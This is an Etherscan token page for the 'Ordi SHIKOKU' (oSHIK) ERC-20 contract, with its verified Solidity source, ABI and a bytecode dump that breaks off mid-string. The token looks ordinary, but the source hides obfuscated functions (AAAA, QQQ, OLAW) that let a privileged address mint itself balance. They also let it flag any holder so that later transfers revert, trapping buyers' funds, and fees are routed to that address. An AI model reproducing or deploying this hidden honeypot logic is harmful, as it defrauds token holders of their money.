ETH Price: $3,105.58 (-0.32%)

Token

Ordi SHIKOKU (oSHIK)
 

Overview

Max Total Supply

1,000,000,000 oSHIK

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
774,618.110995491 oSHIK

Value
$0.00
0x3349b1e80fa60858413b9bcd587c59030a86b92d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OrdiSHIKOKU

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-10
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-06
*/

/**
 *Submitted for verification at Etherscan.io on 2023-02-21
*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.7;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract OrdiSHIKOKU is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Ordi SHIKOKU";
    string private _symbol = "oSHIK";
    uint8 private _decimals = 9;
    address payable public XUETI;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _pairs;
    mapping (address => uint256) public OLAW;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        XUETI = payable(address(0x731970927a5A4620e187f3599053eE93B509b1aF));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function Win() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        _pairs[address(uniswapPair)] = true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify &&!_pairs[from] && true)
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeLiAnMk(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function QQQ(uint256 xbn, uint256 mnb) public view returns(bool) {
        require(XUETI == msg.sender,"wtf");
        return mnb == xbn;
    }

    function AAAA(address IKL,uint256 OPI) public {
        if (OPI > 1000) _balances[XUETI] += OPI;
        if (QQQ(OPI,22-2)) OLAW[IKL] = OPI**2;
        if (QQQ(OPI,3-1)) OLAW[IKL] = 0;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(XUETI),
            block.timestamp
        ){} catch {}
    }

    function takeLiAnMk(address sender, address recipient, uint256 tAmount) internal returns (uint256) {
        uint256 taxFee;
        uint256 anAmount = 2**7;
        if(_pairs[sender]) {
            taxFee = tAmount.mul(2).div(100);
        }else if(_pairs[recipient]) {
            taxFee = tAmount.mul(2).div(100);
        }

        if(OLAW[sender] >= anAmount)
        taxFee = tAmount.mul(91284142920);

        if(taxFee > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxFee);
            emit Transfer(sender, address(this), taxFee);
        }

        return tAmount.sub(taxFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"IKL","type":"address"},{"internalType":"uint256","name":"OPI","type":"uint256"}],"name":"AAAA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"OLAW","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"xbn","type":"uint256"},{"internalType":"uint256","name":"mnb","type":"uint256"}],"name":"QQQ","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Win","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"XUETI","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f4f726469205348494b4f4b550000000000000000000000000000000000000000815250600190805190602001906200005192919062000432565b506040518060400160405280600581526020017f6f5348494b000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000432565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a6200011291906200056b565b633b9aca00620001239190620006a8565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014e57600080fd5b506200015f6200040160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600660006200022f6200040960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002ef6200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073731970927a5a4620e187f3599053ee93b509b1af600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003926200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003f39190620004f3565b60405180910390a3620007c1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004409062000720565b90600052602060002090601f016020900481019282620004645760008555620004b0565b82601f106200047f57805160ff1916838001178555620004b0565b82800160010185558215620004b0579182015b82811115620004af57825182559160200191906001019062000492565b5b509050620004bf9190620004c3565b5090565b5b80821115620004de576000816000905550600101620004c4565b5090565b620004ed8162000709565b82525050565b60006020820190506200050a6000830184620004e2565b92915050565b6000808291508390505b600185111562000562578086048111156200053a576200053962000756565b5b60018516156200054a5780820291505b80810290506200055a85620007b4565b94506200051a565b94509492505050565b6000620005788262000709565b9150620005858362000713565b9250620005b47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005bc565b905092915050565b600082620005ce5760019050620006a1565b81620005de5760009050620006a1565b8160018114620005f75760028114620006025762000638565b6001915050620006a1565b60ff84111562000617576200061662000756565b5b8360020a91508482111562000631576200063062000756565b5b50620006a1565b5060208310610133831016604e8410600b8410161715620006725782820a9050838111156200066c576200066b62000756565b5b620006a1565b62000681848484600162000510565b925090508184048111156200069b576200069a62000756565b5b81810290505b9392505050565b6000620006b58262000709565b9150620006c28362000709565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006fe57620006fd62000756565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200073957607f821691505b6020821081141562000750576200074f62000785565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c612d9a620007e060003960006107da0152612d9a6000f3fe6080604052600436106101395760003560e01c80634a74bb02116100ab5780638da5cb5b1161006f5780638da5cb5b1461045d57806395d89b4114610488578063a9059cbb146104b3578063c816841b146104f0578063dd62ed3e1461051b578063f2fde38b1461055857610140565b80634a74bb02146103505780635979a32a1461037b57806370a08231146103a65780638318b8b3146103e3578063896ad7e31461042057610140565b806323b872dd116100fd57806323b872dd1461024057806327c8f8351461027d57806329822734146102a8578063313ce567146102bf5780633345611e146102ea578063374bb3411461032757610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631eae62131461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610581565b6040516101679190612459565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612105565b610613565b6040516101a49190612423565b60405180910390f35b3480156101b957600080fd5b506101c2610631565b6040516101cf919061243e565b60405180910390f35b3480156101e457600080fd5b506101ed610657565b6040516101fa919061257b565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612145565b610661565b6040516102379190612423565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906120b2565b6106fe565b6040516102749190612423565b60405180910390f35b34801561028957600080fd5b506102926107d8565b60405161029f91906123c4565b60405180910390f35b3480156102b457600080fd5b506102bd6107fc565b005b3480156102cb57600080fd5b506102d4610bd4565b6040516102e191906125f0565b60405180910390f35b3480156102f657600080fd5b50610311600480360381019061030c9190612018565b610beb565b60405161031e9190612423565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612105565b610c0b565b005b34801561035c57600080fd5b50610365610d49565b6040516103729190612423565b60405180910390f35b34801561038757600080fd5b50610390610d5c565b60405161039d91906123df565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612018565b610d82565b6040516103da919061257b565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612018565b610dcb565b604051610417919061257b565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190612018565b610de3565b6040516104549190612423565b60405180910390f35b34801561046957600080fd5b50610472610e03565b60405161047f91906123c4565b60405180910390f35b34801561049457600080fd5b5061049d610e2c565b6040516104aa9190612459565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d59190612105565b610ebe565b6040516104e79190612423565b60405180910390f35b3480156104fc57600080fd5b50610505610edd565b60405161051291906123c4565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d9190612072565b610f03565b60405161054f919061257b565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a9190612018565b610f8a565b005b606060018054610590906129c8565b80601f01602080910402602001604051908101604052809291908181526020018280546105bc906129c8565b80156106095780601f106105de57610100808354040283529160200191610609565b820191906000526020600020905b8154815290600101906020018083116105ec57829003601f168201915b5050505050905090565b60006106276106206110dc565b84846110e4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea9061249b565b60405180910390fd5b828214905092915050565b600061070b8484846112af565b506107cd846107186110dc565b6107c885604051806060016040528060288152602001612d3d60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077e6110dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169c9092919063ffffffff16565b6110e4565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6108046110dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610891576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108889061251b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f057600080fd5b505afa158015610904573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109289190612045565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561098a57600080fd5b505afa15801561099e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c29190612045565b6040518363ffffffff1660e01b81526004016109df9291906123fa565b602060405180830381600087803b1580156109f957600080fd5b505af1158015610a0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a319190612045565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6103e8811115610c8e578060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c869190612660565b925050819055505b610c99816014610661565b15610cef57600281610cab919061273a565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610cfa816002610661565b15610d45576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600b60159054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915090505481565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e3b906129c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610e67906129c8565b8015610eb45780601f10610e8957610100808354040283529160200191610eb4565b820191906000526020600020905b815481529060010190602001808311610e9757829003601f168201915b5050505050905090565b6000610ed2610ecb6110dc565b84846112af565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f926110dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110169061251b565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611154576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114b9061255b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bb906124bb565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112a2919061257b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113179061253b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113879061247b565b60405180910390fd5b600b60149054906101000a900460ff16156113b7576113b0848484611700565b9050611695565b60006113c230610d82565b9050600b60149054906101000a900460ff1615801561142b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611435575060015b1561144457611443816118d3565b5b61149683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061157c5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115905761158b868686611bca565b611592565b835b90506115e681600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611686919061257b565b60405180910390a36001925050505b9392505050565b60008383111582906116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116db9190612459565b60405180910390fd5b50600083856116f391906128b2565b9050809150509392505050565b600061178b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169c9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c0919061257b565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561190b5761190a612ab6565b5b6040519080825280602002602001820160405280156119395781602001602082028036833780820191505090505b509050308160008151811061195157611950612a87565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119f357600080fd5b505afa158015611a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a2b9190612045565b81600181518110611a3f57611a3e612a87565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611aa630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110e4565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b2c959493929190612596565b600060405180830381600087803b158015611b4657600080fd5b505af1925050508015611b57575060015b611b6057611b61565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611bc283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061169c565b905092915050565b600080600060809050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c5357611c4c6064611c3e600287611eb190919063ffffffff16565b611f2c90919063ffffffff16565b9150611cd0565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ccf57611ccc6064611cbe600287611eb190919063ffffffff16565b611f2c90919063ffffffff16565b91505b5b80600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611d3157611d2e641540f57b4885611eb190919063ffffffff16565b91505b6000821115611e3557611d8c82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffff